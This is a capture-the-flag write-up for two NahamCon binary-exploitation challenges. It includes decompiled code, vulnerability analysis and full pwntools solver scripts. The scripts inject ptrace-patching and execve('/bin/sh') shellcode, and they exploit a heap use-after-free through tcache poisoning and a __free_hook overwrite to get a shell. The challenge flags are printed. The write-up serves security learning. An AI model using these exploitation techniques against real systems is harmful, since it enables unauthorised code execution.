  pid = fork();
  if ( pid )
  {
    while ( 1 )
    {
      puts("Enter the command you want to do:");
      menu();
      memset(cmd_str, 0, sizeof(cmd_str));
      cmd = 0;
      fgets(cmd_str, 11, stdin);
      __isoc99_sscanf(cmd_str, "%d", &cmd);
      if ( cmd == 4 )
        break;
      if ( cmd <= 4 )
      {
        switch ( cmd )
        {
          case 3:
            puts("Where do you want to execute code?");
            __isoc99_scanf("%lx", &location);
            ProtectProgram();
            func_ptr = (void (*)(...))location;
            ((void (*)(void))location)();
            goto fail;
          case 1:
            puts("How big do you want your memory to be?");
            fgets(memory_size_str, 11, stdin);
            __isoc99_sscanf(memory_size_str, "%lu", &memory_size);
            puts("What permissions would you like for the memory?");
            fgets(test_buffer, 11, stdin);
            __isoc99_sscanf(test_buffer, "%d", &permissions);
            fflush(stdin);
            newMem = (char *)CreateMemory(memory_size, permissions);
            puts("What do you want to include?");
            fgets(newMem, memory_size, stdin);
            printf("Wrote your buffer at %p\n", newMem);
            free(buffer);
            buffer = 0LL;
            break;
          case 2:
            puts("Debug information:");
            printf("Child PID = %d\n", (unsigned int)pid);
            break;
        }
      }
    }
  }
  else
  {
    buffer = (char *)malloc(0x100uLL);
    while ( 1 )
    {
      strcpy(test_buffer, "Hello world!\n");
      if ( !strncmp(test_buffer, "Give me the flag!", 0x11uLL) )
        printf("I will not give you the flag!");
      cmp = strncmp(test_buffer, "exit", 4uLL);
      if ( !cmp )
        break;
      sleep(0x3E8u);
    }
  }
fail:
  if ( buffer )
    free(buffer);
  free(memlocation);
  return 0;
}

Seccomp-tools Result:

Actually, this challenge has the same binary as the Limited Resource challenge in NahamCon EU CTF 2022. There's a writeup from it by nobodyisnobody (Amazing pwner from Water Paddler btw).

The program will call a fork() function, and this program has three menu for the forked/child process in it:

  • Menu 1 - Setup Memory: This program will prompt the user to enter the memory size, memory permissions, and data to be stored in the newly created memory area using the mmap() function. It will then display the address of the newly created memory area.

  • Menu 2 - Debug Information: The program will display the process ID of the child.

  • Menu 3 - Execute Code: The program will prompt the user to enter an address, call the ProtectProgram() function, and then call and execute the instructions within it.

Meanwhile, in the parent process, the program continuously loops. Then, the program will copy the string 'Hello world!\n' to the test_buffer variable and check with the strncmp() function whether the test_buffer variable is equal to the string 'Give me the flag!'. It concludes with a call to the sleep(1000) function to sleep for approximately 16 minutes (1000 / 60 = 16.66).

Our target is to use sys_ptrace POKEDATA to modify instructions of the child process with some nopsle., such as the instruction when the program will call the ProtectProgram() function with the call ProtectProgram instruction.

And also to modify the endless loop in the branching part of the parent process, which uses the while(1) function, by modifying the jmp short loc_401869 instruction that comes after the call sleep.

Solver Script:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
from os import path
import sys

# ==========================[ Information
DIR = path.dirname(path.abspath(__file__))
EXECUTABLE = "/limited_resources"
TARGET = DIR + EXECUTABLE 
HOST, PORT = "challenge.nahamcon.com", 32181
REMOTE, LOCAL = False, False

# ==========================[ Tools
elf = ELF(TARGET)
elfROP = ROP(elf)

# ==========================[ Configuration
context.update(
    arch=["i386", "amd64", "aarch64"][1],
    endian="little",
    os="linux",
    log_level = ['debug', 'info', 'warn'][2],
    terminal = ['tmux', 'split-window', '-h'],
)

# ==========================[ Exploit

def exploit(io, libc=null):
    if LOCAL==True:
        #raw_input("Fire GDB!")
        if len(sys.argv) > 1 and sys.argv[1] == "d":
            choosen_gdb = [
                "source /home/mydata/tools/gdb/gdb-pwndbg/gdbinit.py",     # 0 - pwndbg
                "source /home/mydata/tools/gdb/gdb-peda/peda.py",          # 1 - peda
                "source /home/mydata/tools/gdb/gdb-gef/.gdbinit-gef.py"    # 2 - gef
                ][2]
            cmd = choosen_gdb + """
            b *main+0x2e2
            set follow-fork-mode child
            """
            gdb.attach(io, gdbscript=cmd)
    io.sendlineafter(b"Exit\n", b"2")
    io.recvuntil(b"PID = ")
    pid = int(io.recvuntil(b"\n", drop=True).decode())

    # This shellcode is taken from the writeup by nobodyisnobody orz.
    ptrace_shellcode = asm('''
    looping:

      mov ebp,%d        /* ebp = pid of child */
    // ptrace(PTRACE_ATTACH,child,0,0)
      mov edi,0x10
      mov esi,ebp
      xor edx,edx
      xor r10,r10
      mov eax,101
      syscall

    // wait a bit
      mov rcx,0xffffffff
    wait:
      nop
      nop
      loop wait

    /* patch program to remove jmp after call to sleep() */
    /* ptrace(PTRACE_POKEDATA,chid, addr, data */
      mov edi,5
      mov esi,ebp
      mov edx,0x4018df
      mov r10,0xE800402090bf9090
      mov eax,101
      syscall

    /* patch program to remove call to protectprogram() */
    /* ptrace(PTRACE_POKEDATA,chid, addr, data */
      mov edi,5
      mov esi,ebp
      mov edx,0x401aa9
      mov r10,0x9090909090000000
      mov eax,101
      syscall

    // ptrace(PTRACE_DETACH,child,0,0
      mov edi,0x11
      mov esi,ebp
      xor edx,edx
      xor r10,r10
      mov eax,101
      syscall


    loopit:
     jmp loopit

    format:
      .ascii "result = %%llx"
      .byte 10

    ''' % pid)

    io.sendlineafter(b'Exit\n',b'1')
    io.sendlineafter(b'?\n', str(0x5000).encode())
    io.sendlineafter(b'?\n', str(7).encode()) # READ | WRITE | EXECUTE
    io.sendlineafter(b'?\n', ptrace_shellcode)

    io.recvuntil(b"buffer at ")
    address = int(io.recvuntil(b"\n", drop=True).decode(), 16)
    print("address                  :", hex(address))

    io.sendlineafter(b'Exit\n',b'3')
    io.sendlineafter(b'?\n', hex(address).encode())


    # === prepare shellcode for: sys_execve("/bin/sh", NULL, NULL)

    shellcode_execve = asm('''
        mov rbx, 0x68732f2f6e69622f
        xor esi, esi
        push rsi
        push rbx
        mov rdi, rsp
        xor esi, esi
        xor edx, edx
        mov rax, 0x3b
        syscall
      ''')

    io.sendlineafter(b'Exit\n',b'1')
    io.sendlineafter(b'?\n', str(0x1000).encode())
    io.sendlineafter(b'?\n', str(7).encode()) # READ | WRITE | EXECUTE
    io.sendlineafter(b'?\n', shellcode_execve)

    io.recvuntil(b"buffer at ")
    address = int(io.recvuntil(b"\n", drop=True).decode(), 16)
    print("address                  :", hex(address))

    io.sendlineafter(b'Exit\n',b'3')
    io.sendlineafter(b'?\n', hex(address).encode())

    io.interactive()

if __name__ == "__main__":
    io, libc = null, null

    if args.REMOTE:
        REMOTE = True
        io = remote(HOST, PORT)
        # libc = ELF("___")
        
    else:
        LOCAL = True
        io = process(
            [TARGET, ],
            env={
            #     "LD_PRELOAD":DIR+"/___",
            #     "LD_LIBRARY_PATH":DIR+"/___",
            },
        )
        # libc = ELF("___")
    exploit(io, libc)

P.S: To complete this challenge on the service, it takes about 16 minutes. But since I already modified the binary (I patch the sleep(1000) to sleep(0)), it will give us a shell imediately.

Flag: flag{fff72b3993166a9a46b7294eabf72715}

Web Application Firewall

Challenge Description:

Author: @M_alpha#3534

Well, maybe a different kind of WAF...

We're given a binary and a libc file, here's some information about those files:

*Since my virtual machine has a different version of libc compared to the provided libc version, I patched the given binary first before debugging it.

patchelf --replace-needed libc.so.6 libc-2.27.so waf
patchelf --set-interpreter ld-2.27.so waf
patchelf --set-rpath . waf
Decompiled Binary
void setup()
{
  setbuf(_bss_start, 0LL);
  setbuf(stdin, 0LL);
}

int menu()
{
  puts("1. Add new configuration.");
  puts("2. Edit configuration.");
  puts("3. Print configuration.");
  puts("4. Remove last added configuration.");
  puts("5. Print all configurations.");
  puts("6. Exit");
  putchar(10);
  return printf("> ");
}

unsigned __int64 __fastcall add_config(__int64 a1)
{
  const char *v1; // rbx
  char v3; // [rsp+1Bh] [rbp-35h] BYREF
  int n; // [rsp+1Ch] [rbp-34h]
  char s[24]; // [rsp+20h] [rbp-30h] BYREF
  unsigned __int64 v6; // [rsp+38h] [rbp-18h]

  v6 = __readfsqword(0x28u);
  printf("What is the id of the config?: ");
  fgets(s, 16, stdin);
  *(_DWORD *)a1 = atoi(s);
  memset(s, 0, 0x10uLL);
  printf("What is the size of the setting?: ");
  fgets(s, 16, stdin);
  n = atoi(s);
  *(_QWORD *)(a1 + 8) = malloc(n);
  printf("What is the setting to be added?: ");
  fgets(*(char **)(a1 + 8), n, stdin);
  v1 = *(const char **)(a1 + 8);
  v1[strcspn(v1, "\r\n")] = 0;
  printf("Should this setting be active? [y/n]: ");
  __isoc99_scanf(" %c", &v3);
  getchar();
  *(_BYTE *)(a1 + 16) = v3 == 121;
  puts("\nConfig added.\n");
  return v6 - __readfsqword(0x28u);
}

unsigned __int64 __fastcall edit_config(__int64 a1, int a2)
{
  int *v2; // rbx
  __int64 v3; // rbx
  const char *v4; // rbx
  char v6; // [rsp+1Bh] [rbp-35h] BYREF
  int n; // [rsp+1Ch] [rbp-34h]
  char s[24]; // [rsp+20h] [rbp-30h] BYREF
  unsigned __int64 v9; // [rsp+38h] [rbp-18h]

  v9 = __readfsqword(0x28u);
  printf("What is the new ID?: ");
  fgets(s, 16, stdin);
  v2 = *(int **)(8LL * a2 + a1);
  *v2 = atoi(s);
  memset(s, 0, 0x10uLL);
  printf("What is the new size of the setting?: ");
  fgets(s, 16, stdin);
  n = atoi(s);
  v3 = *(_QWORD *)(8LL * a2 + a1);
  *(_QWORD *)(v3 + 8) = realloc(*(void **)(v3 + 8), n);
  printf("What is the new setting?: ");
  fgets(*(char **)(*(_QWORD *)(8LL * a2 + a1) + 8LL), n, stdin);
  v4 = *(const char **)(*(_QWORD *)(8LL * a2 + a1) + 8LL);
  v4[strcspn(v4, "\r\n")] = 0;
  printf("Should this be active? [y/n]: ");
  __isoc99_scanf(" %c", &v6);
  getchar();
  *(_BYTE *)(*(_QWORD *)(8LL * a2 + a1) + 16LL) = v6 == 121;
  putchar(10);
  puts("Config Edited.");
  return v9 - __readfsqword(0x28u);
}

int __fastcall print_config(__int64 a1, int a2)
{
  putchar(10);
  printf("ID: %d\n", **(unsigned int **)(8LL * a2 + a1));
  printf("Setting: %s\n", *(const char **)(*(_QWORD *)(8LL * a2 + a1) + 8LL));
  printf("Is active: %d\n", *(unsigned __int8 *)(*(_QWORD *)(8LL * a2 + a1) + 16LL));
  return putchar(10);
}

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+Ch] [rbp-124h]
  int ctr; // [rsp+10h] [rbp-120h]
  int i; // [rsp+14h] [rbp-11Ch]
  int j; // [rsp+18h] [rbp-118h]
  int idx_edit; // [rsp+1Ch] [rbp-114h]
  int idx_print; // [rsp+1Ch] [rbp-114h]
  void *chunk_ptr_list[32]; // [rsp+20h] [rbp-110h] BYREF
  char choose_menu[8]; // [rsp+120h] [rbp-10h] BYREF
  unsigned __int64 v12; // [rsp+128h] [rbp-8h]

  v12 = __readfsqword(0x28u);
  setup();
  v4 = 1;
  memset(chunk_ptr_list, 0, sizeof(chunk_ptr_list));
  ctr = 0;
  puts("Web Application Firewall Configuration.\n");
LABEL_29:
  while ( v4 )
  {
    menu();
    fgets(choose_menu, 8, stdin);
    switch ( atoi(choose_menu) )
    {
      case 1:
        if ( ctr > 31 )
        {
          puts("Too many configs. Please delete some before adding more.");
        }
        else
        {
          chunk_ptr_list[ctr] = malloc(0x18uLL);
          add_config((__int64)chunk_ptr_list[ctr++]);
        }
        goto LABEL_29;
      case 2:
        printf("What is the index of the config to edit?: ");
        fgets(choose_menu, 8, stdin);
        idx_edit = atoi(choose_menu);
        if ( idx_edit < 0 || idx_edit > ctr )
          goto LABEL_9;
        edit_config((__int64)chunk_ptr_list, idx_edit);
        goto LABEL_23;
      case 3:
        printf("What is the index of the config to print?: ");
        fgets(choose_menu, 8, stdin);
        idx_print = atoi(choose_menu);
        if ( idx_print < 0 || idx_print > ctr )
LABEL_9:
          puts("Invalid index.");
        else
          print_config((__int64)chunk_ptr_list, idx_print);
        goto LABEL_23;
      case 4:
        if ( ctr )
        {
          free(*((void **)chunk_ptr_list[ctr - 1] + 1));
          free(chunk_ptr_list[ctr - 1]);
          puts("Last config removed.");
          --ctr;
        }
        else
        {
          puts("There are no configs to remove.");
        }
        goto LABEL_23;
      case 5:
        if ( ctr )
        {
          for ( i = 0; i < ctr; ++i )
          {
            putchar(10);
            printf("ID: %d\n", *(unsigned int *)chunk_ptr_list[i]);
            printf("Setting: %s\n", *((const char **)chunk_ptr_list[i] + 1));
            printf("Is active: %d\n", *((unsigned __int8 *)chunk_ptr_list[i] + 16));
          }
        }
        else
        {
          puts("There are no configs. Please add one.");
        }
LABEL_23:
        putchar(10);
        break;
      case 6:
        v4 = 0;
        for ( j = 0; j < ctr; ++j )
        {
          free(*((void **)chunk_ptr_list[j] + 1));
          free(chunk_ptr_list[j]);
        }
        ctr = 0;
        break;
      default:
        puts("Invalid choice.");
        break;
    }
  }
  return 0;
}

Based on the above decompiled code, the program has 6 menus that I will explain for each of them.

  • Menu 1 - Add Config The program will call malloc() and allocate a 0x18 sized heap chunk (Will be 0x20 after the allocation), this chunk will be used as metadata of a "config". After that, it will call the add_config() function. And the program will prompt the user to input a config id, config size, and active status. The config will be stored in the chunk_ptr_list variable, which will be saved at an index corresponding to the value of the ctr variable. The config size that the user has input earlier will be used to allocate a new heap chunk to store config data. The metadata config chunk will store the config id, the pointer to a config data heap chunk, along with the config's active status. The config chunk will be looks like this.

  • Menu 2 - Edit Config The program will ask the user to input an index for which “config” the user wants to edit and it does some checks to prevent Out Of Bound (idx < 0 || idx_edit > ctr). It calls the edit_config() function and passes the chunk_ptr_list variable and inputted index as its arguments. The program will ask the user to input a new config id, new config size, new config data, and the config active status. The new config size will be used as an argument to call realloc(pointer_to_config_data, new_size) and as an argument to retrieve new config data from the user using fgets(..., new_size, stdin).

  • Menu 3 - Print Config The program will ask the user to input an index for which "config" the user want to view/print, it also does some checks to prevent Out Of Bound (idx < 0 || idx_edit > ctr). And it will print the config data using the print_config() function.

  • Menu 4 - Remove the Last Added Config, it will delete the last config data (pointed by "Pointer to config Data") and also delete the config metadata using the free() function. It will free the config data first, then the config metadata. Because the program doesn't nullified or null the pointer to heap, it will cause a Use After Free vulnerability.

  • Menu 5 - Print All Config, the program will print the contents of all the chunks (limited by the ctr variable) in chunk_ptr_list.

  • Menu 6 - Exit, the program will call free() to delete all the configuration stored inside the chunk_ptr_list variable, then it will break the loop, so the program will exit normally.

I created the following functions, which will be used to help us solve this challenge.

def create(idx, size=0x18, data=b"", status="y"):
    io.sendlineafter(b"> ", b"1")
    io.sendlineafter(b": ", str(idx).encode())
    io.sendlineafter(b": ", str(size).encode())
    if size >= 1:
        io.sendlineafter(b": ", data)
    io.sendlineafter(b"]: ", status.encode())
    print("CREATED @"+str(idx))

def edit(chunk_idx, config_idx, size=0x18, data=b"", status="y"):
    io.sendlineafter(b"> ", b"2")
    io.sendlineafter(b": ", str(chunk_idx).encode())
    io.sendlineafter(b": ", str(config_idx).encode())
    io.sendlineafter(b": ", str(size).encode())
    io.sendlineafter(b": ", data)
    io.sendlineafter(b": ", status.encode())
    print("EDITED @"+str(o_idx),"=>",n_idx)

def view(idx):
    io.sendlineafter(b"> ", b"3")
    io.sendlineafter(b": ", str(idx).encode())
    io.recvuntil(b"ID: ")
    resp_id = io.recvuntil(b"\n", drop=True)
    io.recvuntil(b"Setting: ")
    resp_setting = io.recvuntil(b"\n", drop=True)
    io.recvuntil(b"active: ")
    resp_status = io.recvuntil(b"\n", drop=True)
    print("@"+str(idx), "=", [resp_id, resp_setting, resp_status])
    return [resp_id, resp_setting, resp_status]

def delete_last():
    io.sendlineafter(b"> ", b"4")
    print("DELETED THE LAST INDEX")

First, I added two new configs. The first one (idx: 0, let's call it as CONFIG_0) with the Unsorted Bin-sized chunk, and the second one (idx: 1, let's call it as CONFIG_1) will be used to prevent the Unsorted Bin chunk to consolidate with wilderness (top chunk).

    create(0xdead, 0x420-8, b"AAAAAAAA UNSORTED BIN SIZED CHUNK")       # 0
    create(0xbeef , 0x80-8, b"BBBBBBBB PREVENT TOP CHUNK CONSOLIDATE")  # 1

Next, I'll delete those two chunks using "Delete the last added config" menu.

    delete_last() # delete: 1
    delete_last() # delete: 0

As you can see, the CONFIG_0_DATA is containing a libc address, since the size of the chunk is within the range of the unsorted bin size. After that, I tried to leak CONFIG_0_CHUNK using the "Print Data" menu. It's possible to do because the config that I'm trying to leak is not larger than the value of the ctr variable.

    resp = view(0) 
    LEAKED_HEAP = int(resp[0].decode())
    HEAP_BASE = LEAKED_HEAP & ~0xFFF
    HEAP_CHUNK0 = HEAP_BASE + 0x260
    print("LEAKED_HEAP                  :", hex(LEAKED_HEAP))
    print("HEAP_BASE                    :", hex(HEAP_BASE))
    print("HEAP_CHUNK0                  :", hex(HEAP_CHUNK0))

Since the tcachebins 0x20 sized is looks like this:

I added a new config chunk, with 0x20 as the size and view the config with index 1. So when the program calls malloc() (after allocating the "config" metadata) it will return the same address as CONFIG_1_METADATA chunk. So I can take control of where the CONFIG_1_DATA points to by editing CONFIG_0_DATA. I point it to HEAP_BASE+0x280 where the libc address is located at. It will look like this.

    create(0x1337, 0x18, b"A"*8+p64(HEAP_BASE+0x280)) # 0
    
    resp = view(1)
    LEAKED_LIBC = u64(resp[1].ljust(8, b"\x00"))
    libc.address = LEAKED_LIBC - libc.symbols["__malloc_hook"] & ~0xFFF
    print("LEAKED_LIBC                  :", hex(LEAKED_LIBC))
    print("libc.address                 :", hex(libc.address))
    delete_last() # idx: 0 (free it again, for the next step)

The next step is where the fun begin. Now let's take a look at a layour of CONFIG_0_METADATA from the image below.

After the free, the Pointer to Config Data that stored in CONFIG_0_METADATA is pointing at HEAP_BASE+0x10. Do you know what chunk is that? it's a tcache_perthread_struct. You can read more about tcache_perthread_struct from Zafirr's articles.

In short, tcache_perthread_struct contains a counter for the number of available (already freed) tcachebin chunks and stores the address entries for each tcachebin size. Let's examine the tcache_perthread_struct in our case.

As seen in the above image, at the marked address (Address: 0x01e9a6c0), it is evident that tcache_perthread_struct indeed stores the address entries of the tcachebin that have been freed (Compare it with tcachebins[..., size=x80] from the heap bins output).

So now we know what our target is. Our target is to overwrite the counts (to be greater than 0) and the address entries with the address of __free_hook for a specific tcachebin size. So, when we add a new "config" with the corresponding size of the count and the overwritten entries, it will end up allocating at the targeted address (in this case, the address of __free_hook). We can do it by using the Edit Config menu, since the program will call realloc() (it will perform like calls free() then calls malloc()). Then, create a new configuration with the address of the system() function as its data (it will overwrite the __free_hook). So, whenever the free() is called it will trigger and also the system() function.

Solver Script:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
from os import path
import sys

# ==========================[ Information
DIR = path.dirname(path.abspath(__file__))
EXECUTABLE = "/waf"
TARGET = DIR + EXECUTABLE 
HOST, PORT = "challenge.nahamcon.com", 31220
REMOTE, LOCAL = False, False

# ==========================[ Tools
elf = ELF(TARGET)
elfROP = ROP(elf)

# ==========================[ Configuration
context.update(
    arch=["i386", "amd64", "aarch64"][1],
    endian="little",
    os="linux",
    log_level = ['debug', 'info', 'warn'][2],
    terminal = ['tmux', 'split-window', '-h'],
)

# ==========================[ Exploit

def create(idx, size=0x18, data=b"", status="y"):
    io.sendlineafter(b"> ", b"1")
    io.sendlineafter(b": ", str(idx).encode())
    io.sendlineafter(b": ", str(size).encode())
    if size >= 1:
        io.sendlineafter(b": ", data)
    io.sendlineafter(b"]: ", status.encode())
    print("CREATED @"+str(idx))

def edit(chunk_idx, config_idx, size=0x18, data=b"", status="y"):
    io.sendlineafter(b"> ", b"2")
    io.sendlineafter(b": ", str(chunk_idx).encode())
    io.sendlineafter(b": ", str(config_idx).encode())
    io.sendlineafter(b": ", str(size).encode())
    io.sendlineafter(b": ", data)
    io.sendlineafter(b": ", status.encode())
    print("EDITED @"+str(chunk_idx),"=>",config_idx)

def view(idx):
    io.sendlineafter(b"> ", b"3")
    io.sendlineafter(b": ", str(idx).encode())
    io.recvuntil(b"ID: ")
    resp_id = io.recvuntil(b"\n", drop=True)
    io.recvuntil(b"Setting: ")
    resp_setting = io.recvuntil(b"\n", drop=True)
    io.recvuntil(b"active: ")
    resp_status = io.recvuntil(b"\n", drop=True)
    print("@"+str(idx), "=", [resp_id, resp_setting, resp_status])
    return [resp_id, resp_setting, resp_status]

def delete_last():
    io.sendlineafter(b"> ", b"4")
    print("DELETED THE LAST INDEX")

def exploit(io, libc=null):
    if LOCAL==True:
        #raw_input("Fire GDB!")
        if len(sys.argv) > 1 and sys.argv[1] == "d":
            choosen_gdb = [
                "source /home/mydata/tools/gdb/gdb-pwndbg/gdbinit.py",     # 0 - pwndbg
                "source /home/mydata/tools/gdb/gdb-peda/peda.py",          # 1 - peda
                "source /home/mydata/tools/gdb/gdb-gef/.gdbinit-gef.py"    # 2 - gef
                ][2]
            cmd = choosen_gdb + """
            # b *main+0x251
            b *edit_config+0xfa
            # b *add_config+0xad
            """
            gdb.attach(io, gdbscript=cmd)

    create(0xdead, 0x420-8, b"AAAAAAAA UNSORTED BIN SIZED CHUNK")       # 0
    create(0xbeef , 0x80-8, b"BBBBBBBB PREVENT TOP CHUNK CONSOLIDATE")  # 1

    # ===========================

    delete_last() # delete: 1
    delete_last() # delete: 0

    # ===========================

    resp = view(0) 
    LEAKED_HEAP = int(resp[0].decode())
    HEAP_BASE = LEAKED_HEAP & ~0xFFF
    HEAP_CHUNK0 = HEAP_BASE + 0x260
    print("LEAKED_HEAP                  :", hex(LEAKED_HEAP))
    print("HEAP_BASE                    :", hex(HEAP_BASE))
    print("HEAP_CHUNK0                  :", hex(HEAP_CHUNK0))

    # ===========================

    create(0x1337, 0x18, b"A"*8+p64(HEAP_BASE+0x280)) # 0

    resp = view(1)
    LEAKED_LIBC = u64(resp[1].ljust(8, b"\x00"))
    libc.address = LEAKED_LIBC - libc.symbols["__malloc_hook"] & ~0xFFF
    print("LEAKED_LIBC                  :", hex(LEAKED_LIBC))
    print("libc.address                 :", hex(libc.address))
    delete_last()

    # ===========================
    
    p = b""
    # === counts[TCACHE_MAX_BINS]
    p += p64(0x0000000000000100) + p64(0x0000000000000000)
    p += p64(0x0000000000000000) + p64(0x0000000000000000)
    p += p64(0x0000000000000000) + p64(0x0000000000000000)
    p += p64(0x0000000000000000) + p64(0x0000000000000000)

    # === entries[TCACHE_MAX_BINS] = struct tcache_entry
    # tcache_entry 0x20         + tcache_entry 0x30
    p += p64(0x0)               + p64(libc.symbols["__free_hook"]) # poison the fd pointer of tcachebins 0x30
    # # tcache_entry 0x40       + tcache_entry 0x50
    # p += p64(0)               + p64(0)
    # # tcache_entry 0x60       + tcache_entry 0x70
    # p += p64(0)               + p64(0)
    # # tcache_entry 0x80       + tcache_entry 0x90
    # p += p64(0)               + p64(0)
    # # tcache_entry 0xa0       + tcache_entry 0xb0
    # p += p64(0)               + p64(0)
    # # tcache_entry 0xc0       + tcache_entry 0xd0
    # p += p64(0)               + p64(0)
    # # tcache_entry 0xe0       + tcache_entry 0xf0
    # p += p64(0)               + p64(0)
    # # tcache_entry 0x100      + tcache_entry 0x110
    # p += p64(0)               + p64(0) 
    # # tcache_entry ...        + tcache_entry ...
    edit(0, 0xdeadbeef, 0x250-8, p)

    # ===========================

    # create "sh", for spawning shell when free() is called
    create(u32(b"sh;\x00"), 0x30-8, p64(libc.symbols["system"]))

    # trigger shell, by free-ing all "config"
    io.sendlineafter(b"> ", b"6")

    io.interactive()

if __name__ == "__main__":
    io, libc = null, null

    if args.REMOTE:
        REMOTE = True
        io = remote(HOST, PORT)
        libc = ELF("libc-2.27.so")
        
    else:
        LOCAL = True
        io = process(
            [TARGET, ],
            env={
            #     "LD_PRELOAD":DIR+"/___",
            #     "LD_LIBRARY_PATH":DIR+"/___",
            },
        )
        libc = ELF("libc-2.27.so")
    
    exploit(io, libc)

Flag: flag{dc75c408f5ba2fbc72b307987dddc775}

Made with♥️by CCUG Core Team.